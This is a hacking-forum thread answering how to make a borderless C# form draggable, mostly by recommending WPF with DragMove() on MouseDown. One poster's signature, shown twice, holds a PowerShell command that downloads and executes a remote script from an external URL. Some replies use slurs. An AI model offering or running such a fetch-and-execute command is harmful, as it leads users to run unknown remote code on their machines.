Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

Anyone know how to make a borderless form draggable in c#?

I've looked all over the internet for solutions, but didn't find any because they are in visual basic not c#.

if you have a solution please reply below.
It's fairly straightforward. In your regular windows form, just override WndProc() and put your drag-drop logic there. In the following example I created my own property called TitleBarHeight, which defines how high on the form the cursor has to be to allow movement. Note that I also initialize this property in the Form's constructor.

[Image: Syr3DlV.png]
Use wpf:

Code
<Window x:Class="GayNamespace.MainWindow"
       xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
       xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
       xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
       xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
       xmlns:local="clr-namespace:GayNamespace"
       mc:Ignorable="d"
       ResizeMode="NoResize"
       MouseDown="Window_MouseDown"
       Title="Gay App" Height="450" Width="697" WindowStyle="None">
   [...]
</Window>

and the Window_MouseDown in your viewmodel event is:

Code
private void Window_MouseDown(object sender, MouseButtonEventArgs e)
{
   if (e.LeftButton == MouseButtonState.Pressed)
   {
        DragMove();
   }
}
Accepting freelancing jobs ! PM me for more info !
Be the [BRAND NAME REMOVED] king ..
https://hackforums.net/showthread.php?tid=4558018
[Image: bitcoin.png] Be Nice For Once 15hVUVz7xA4kazHdk2BuErENGCskVwjYXP
Your question is answered on the first link when google searching:
http://lmgtfy.com/?q=drag+borderless+form+c%23
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
@ibennz beat me to it.
Use WPF, no one uses Winforms anymore and if you do you're either a skid or a retard
where as one compliments the other pretty nice.

EDIT
Or if you work with legacy stuff at work.
may god bless their souls.

Create a WPF project, set the Windows WindowStyle property to None and add a event for MouseDown and then add a some logic to see wether the LeftMouse button is pressed and if it is just call the DragMove(); function.
(Nov 22, 2018 11:41 AM)passwords Wrote:  @ibennz beat me to it.
Use WPF, no one uses Winforms anymore and if you do you're either a skid or a retard
where as one compliments the other pretty nice.

EDIT
Or if you work with legacy stuff at work.
may god bless their souls.

Create a WPF project, set the Windows WindowStyle property to None and add a event for MouseDown and then add a some logic to see wether the LeftMouse button is pressed and if it is just call the DragMove(); function.

I still use WinForms for some, big emphasis on some, projects. Usually only ever use WinForms for simple UI applications. I do enjoy WPF a lot more than WinForms for theming.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
(Nov 22, 2018 11:52 AM)Nick (Name) Wrote:  I still use WinForms for some, big emphasis on some, projects. Usually only ever use WinForms for simple UI applications. I do enjoy WPF a lot more than WinForms for theming.

Not only for theming but think about MVVM, databinging etc.
Just makes it so much easier to maintain, I do get that some people still use Winforms though, I personally think they should scrap it, they obviously can't due to the massive amount of companies running on legacy.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by Ðr1psNov 9, 2015 03:56 PM 19 416 Nov 9, 2015 03:56 PM
Last Post: Ðr1ps
[.NET] by WildElephantApr 21, 2015 10:48 AM 7 177 Apr 21, 2015 10:48 AM
Last Post: nuk
[.NET] by DigiDeveloperJan 13, 2015 10:21 AM 4 101 Jan 13, 2015 10:21 AM
Last Post: DigiDeveloper